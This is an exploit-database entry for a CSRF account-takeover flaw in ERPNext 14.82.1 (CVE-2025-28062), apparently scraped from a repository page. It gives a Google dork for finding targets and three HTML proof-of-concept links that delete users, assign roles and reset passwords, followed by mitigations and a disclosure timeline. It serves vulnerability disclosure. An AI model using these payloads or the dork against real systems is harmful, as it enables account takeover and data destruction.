3cc98cadb3
4 changes to exploits/shellcodes/ghdb Casdoor 1.901.0 - Cross-Site Request Forgery (CSRF) Grokability Snipe-IT 8.0.4 - Insecure Direct Object Reference (IDOR) ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF)
87 lines
No EOL
2.2 KiB
Text
87 lines
No EOL
2.2 KiB
Text
# Exploit Title: ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF)
|
|
# Google Dork: inurl:"/api/method/frappe"
|
|
# Date: 2025-04-29
|
|
# Exploit Author: Ahmed Thaiban (Thvt0ne)
|
|
# Vendor Homepage: https://erpnext.com
|
|
# Software Link: https://github.com/frappe/erpnext
|
|
# Version: <= 14.82.1, 14.74.3 (Tested)
|
|
# Tested on: Linux (Ubuntu 20.04), Chrome, Firefox.
|
|
# CVE : CVE-2025-28062
|
|
# Category: WebApps
|
|
|
|
# Description:
|
|
A Cross-Site Request Forgery (CSRF) vulnerability Lead to Account Takeover exists in ERPNext 14.82.1 and 14.74.3. This flaw allows an attacker to perform unauthorized state-changing operations on behalf of a logged-in administrator without their knowledge or consent.
|
|
|
|
Affected endpoints include:
|
|
- /api/method/frappe.desk.reportview.delete_items
|
|
- /api/method/frappe.desk.form.save.savedocs
|
|
|
|
Impact:
|
|
- Deletion of arbitrary users
|
|
- Unauthorized role assignment
|
|
- Account takeover via password change
|
|
|
|
The application fails to enforce CSRF tokens on administrative API requests, violating OWASP recommendations.
|
|
|
|
---
|
|
|
|
# PoC 1: Delete a User
|
|
|
|
<html>
|
|
<body>
|
|
<h2>Delete User</h2>
|
|
<a href="http://target/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
|
|
Click Here
|
|
</a>
|
|
</body>
|
|
</html>
|
|
|
|
---
|
|
|
|
# PoC 2: Assign Role
|
|
|
|
<html>
|
|
<body>
|
|
<h2>Assign Role to User</h2>
|
|
<a href="http://target/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&action=Save">
|
|
Add Role
|
|
</a>
|
|
</body>
|
|
</html>
|
|
|
|
---
|
|
|
|
# PoC 3: Reset Password
|
|
|
|
<html>
|
|
<body>
|
|
<h2>Reset User Password</h2>
|
|
<a href="http://target/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&action=Save">
|
|
Reset Password
|
|
</a>
|
|
</body>
|
|
</html>
|
|
|
|
---
|
|
|
|
# Mitigation:
|
|
- Enforce CSRF protection for all administrative endpoints
|
|
- Require POST methods for state changes
|
|
- Mark cookies as SameSite=Strict
|
|
- Implement re-authentication for critical user changes
|
|
|
|
---
|
|
|
|
# Disclosure Timeline:
|
|
- 2025-02-09: Vulnerability discovered
|
|
- 2025-02-10: Reported to Frappe (no response)
|
|
- 2025-04-29: Public disclosure via CVE + advisory
|
|
|
|
---
|
|
|
|
# Author Contact:
|
|
LinkedIn: https://linkedin.com/in/ahmedth
|
|
GitHub: https://github.com/Thvt0ne
|
|
|
|
# References:
|
|
- https://owasp.org/www-community/attacks/csrf |